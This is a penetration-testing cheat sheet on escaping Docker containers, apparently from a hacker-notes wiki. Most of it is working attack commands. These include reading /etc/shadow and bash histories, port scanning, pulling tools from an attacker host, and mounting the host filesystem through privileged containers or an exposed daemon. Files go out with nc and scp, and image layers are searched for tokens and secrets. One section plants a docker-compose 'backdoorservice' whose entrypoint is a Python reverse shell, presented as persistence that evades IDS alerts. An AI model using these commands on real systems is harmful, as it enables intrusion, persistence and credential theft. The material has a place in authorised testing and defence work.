# Docker Escape

Docker escape refers to a security vulnerability that could potentially allow an attacker to break out of a Docker container and gain access to the host system or other containers running on the same host.

### Investigation <a href="#investigation" id="investigation"></a>

If we are in the docker container, we first need to investigate basic information about the container.

```shellscript
# Environment variables
env

# Command path
echo $PATH
ls -al /usr/local/bin
ls -al /usr/local/sbin
ls -al /usr/bin
ls -al /bin

# User enumeration
cat /etc/passwd
cat /etc/shadow
getent passwd

# Networks
cat /etc/hosts
cat /etc/resolv.conf

# Bash history
cat /root/.bash_history
cat /home/<username>/.bash_history

# Interesting Directories
ls -al /etc
ls -al /mnt
ls -al /opt
ls -al /srv
ls -al /var/www
ls -al /var/tmp
ls -al /tmp
ls -al /dev/shm

# Cron
cat /etc/cron*
crontab -l

# Process
ps aux
ps aux | cat
# https://github.com/DominicBreuker/pspy
./pspy64

# Network
ip addr
netstat -punta
ss -ltu
cat /etc/hosts

# Port scan another host
nmap 172.17.0.0/24
nmap 172.17.0.1
for i in {1..65535}; do (echo > /dev/tcp/172.17.0.1/$i) >/dev/null 2>&1 && echo $i is open; done

# SSH
ssh <user>@<another_host>

# Check if docker command is available.
# If not, find the command in the container.
docker -h
find / -name "docker" 2>/dev/null

# Container capabilities
capsh --print

# Enumerate pods
crictl pods

# Investigate Docker socket for containerd
# crictl can be downloaded from https://github.com/kubernetes-sigs/cri-tools
crictl -r unix:///run/containerd/containerd.sock ps
crictl -r unix:///run/containerd/containerd.sock images
crictl -r unix:///run/containerd/containerd.sock container ls
```

#### Access Another Host <a href="#access-another-host" id="access-another-host"></a>

If we found another host but cannot access it by restrictions, we need to **reverse port forward**.\
Please see [details.](https://hamcodes.gitbook.io/hackersnotes/pivoting-lateral-movement/pivoting/chisel)

#### Import Required Binary from Local Machine <a href="#import-required-binary-from-local-machine" id="import-required-binary-from-local-machine"></a>

The container generally has few command that we want to use to exploit, so we need to import manually the command binaries if we need.\
Below are examples to transfer arbitrary binary into the docker container.

```
wget http://<local-ip>:8000/socat

curl <local-ip>:8000/scp -o socat
```

### SSH Login <a href="#ssh-login" id="ssh-login"></a>

We might be able to login SSH on the target host if we know the credentials.

```
ssh user@127.0.0.1
```

### Mounting <a href="#mounting" id="mounting"></a>

Check disks or mounted folders and we might be able to see the directories of the host system.\
See [Linux Privilege Escalation](https://hamcodes.gitbook.io/hackersnotes/privilege-escalation/unix-priv-esca) for details.

#### 1. List Disks/Mounted Folders <a href="#id-1-list-disksmounted-folders" id="id-1-list-disksmounted-folders"></a>

```
findmnt
lsblk
fdisk -l
```

#### 2. Mount Folder <a href="#id-2-mount-folder" id="id-2-mount-folder"></a>

If we find a folder which is not mounted in the container, mount it to go inside the directory.

```
mkdir -p /mnt/tmp
mount /dev/xvda1 /mnt/tmp
```

Now we can observe inside the `/mnt/tmp` directory.

### Gain Access to Mounted System <a href="#gain-access-to-mounted-system" id="gain-access-to-mounted-system"></a>

After mounting or found mounted folder, we can change root to the mounted folder:

```
chroot /mounted_folder bash
```

### Privilege Escalation to Root <a href="#privilege-escalation-to-root" id="privilege-escalation-to-root"></a>

Please see [Linux Privilege Escalation.](https://hamcodes.gitbook.io/hackersnotes/privilege-escalation/unix-priv-esca)

### Run Vulnerable Docker Image <a href="#run-vulnerable-docker-image" id="run-vulnerable-docker-image"></a>

According to [Hacktricks](https://book.hacktricks.xyz/network-services-pentesting/2375-pentesting-docker#compromising), we can escape a docker container with the vulnerable image.\
Execute the following command in the target machine where a docker container is running..

```
docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cd /mnt/
```

### Download Interesting Files <a href="#download-interesting-files" id="download-interesting-files"></a>

```
# In local machine
nc -lp 4444 > example.txt

# In remote machine
nc <local-ip> 4444 < example.txt
```

Also we can use “scp” under the condition that the local machine opens SSH server.

```
# In local machine
sudo systemctl start ssh

# In remote machine
scp ./example.txt <username>@<local-ip>:/home/<username>/example.txt
```

### Run Existing Docker Image <a href="#run-existing-docker-image" id="run-existing-docker-image"></a>

#### 1. Check if current user belongs to "docker" group <a href="#id-1-check-if-current-user-belongs-to-docker-group" id="id-1-check-if-current-user-belongs-to-docker-group"></a>

```
groups
```

#### 2. List Docker Images <a href="#id-2-list-docker-images" id="id-2-list-docker-images"></a>

```
docker images
```

#### 3. Start Container and Get Shell <a href="#id-3-start-container-and-get-shell" id="id-3-start-container-and-get-shell"></a>

If we found Docker images running, we can use it to get a root shell Replace **“example”** with the docker image you found.

```
# -v: Mount the host directory ('/') to the '/mnt' directory in the container.
# --rm: Automatically remove the container when it exits.
# -it: Interective and TTY
# chroot /mnt sh: Change the root directory of the current process to the '/mnt' directory, then execute 'sh' command to get a shell as root.
docker run -v /:/mnt --rm -it example chroot /mnt sh
```

Alternatively we can use following commands.

```
# --entrypoint=/bin/bash: Override the default entrypoint to '/bin/bash', which means that when the container starts, it will launch a bash shell.
docker run -it --entrypoint=/bin/bash -v /:/mnt/ <image>:<tag>
# e.g.
docker run -it --entrypoint=/bin/bash -v /:/mnt/ example:master
```

After that, you can investigate sensitive information in the **`/mnt/`** folders.

### Docker Socket Escape <a href="#docker-socket-escape" id="docker-socket-escape"></a>

Reference: <https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25>

### Establish Persistence After PrivEsc <a href="#establish-persistence-after-privesc" id="establish-persistence-after-privesc"></a>

After that you invaded the docker container, you might be able to make it persistence while evading the IDS alerts by creating a docker compose file and abusing the entrypoint option to grant you a reverse shell.

Create a \~/docker-compose.yaml in the container.

You need to replace the `<image>`, `<local-ip>`, `<local-ip>` with your environment.

```
version: "2.1"
services:
  backdoorservice:
    restart: always
    image: <image>
    entrypoint: > 
       python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
       s.connect(("<local-ip>",<local-ip>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
       pty.spawn("/bin/sh")'
    volumes:
      - /:/mnt
    privileged: true
```

Then start listener in your local machine.

```
nc -lvnp 4444
```

Now run the docker compose in remote machine. You should gain a shell.

```
docker-compose run
```

### Amazon Elastic Container Registry (ECR) Public Gallery <a href="#amazon-elastic-container-registry-ecr-public-gallery" id="amazon-elastic-container-registry-ecr-public-gallery"></a>

#### 1. Run the Docker Container <a href="#id-1-run-the-docker-container" id="id-1-run-the-docker-container"></a>

* **Retrieve a Container Image**

  ```
  docker pull public.ecr.aws/<registry-alias>/<repository>:latest
  ```
* **Check if It was Pulled**

  ```
  docker images
  ```
* **Run the Container and Interect with It**

  ```
  docker run -it public.ecr.aws/<registry-alias>/<repository>:latest
  ```

#### 2. Get Sensitive Information in the Container <a href="#id-2-get-sensitive-information-in-the-container" id="id-2-get-sensitive-information-in-the-container"></a>

You may be able to get the interesting data like **api\_key**.

```
printenv
```

#### 3. Get Sensitive Information in Local Machine <a href="#id-3-get-sensitive-information-in-local-machine" id="id-3-get-sensitive-information-in-local-machine"></a>

* **Check the Container Config and Retrieve Sensitive Information**

  Process the following flows in your local machine.

  ```
  mkdir example
  cd example/
  docker save -o example.tar public.ecr.aws/<registry-alias>/<repository>:latest
  tar -xf example.tar

  # Config files
  cat manifest.json | jq
  cat f9ab.......json | jq

  # Also config file in each directory
  cd 2246f........../
  tar -xvf layer.tar

  # Get sensitive information
  grep -e 'token' -e 'secret' */*
  ```

### References <a href="#references" id="references"></a>

* [HackTricks](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation)
* [GitHub Gist](https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25)
